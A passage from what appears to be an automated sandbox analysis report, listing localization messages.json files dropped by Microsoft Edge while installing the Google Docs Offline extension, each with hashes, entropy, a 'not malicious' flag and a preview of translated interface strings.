C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
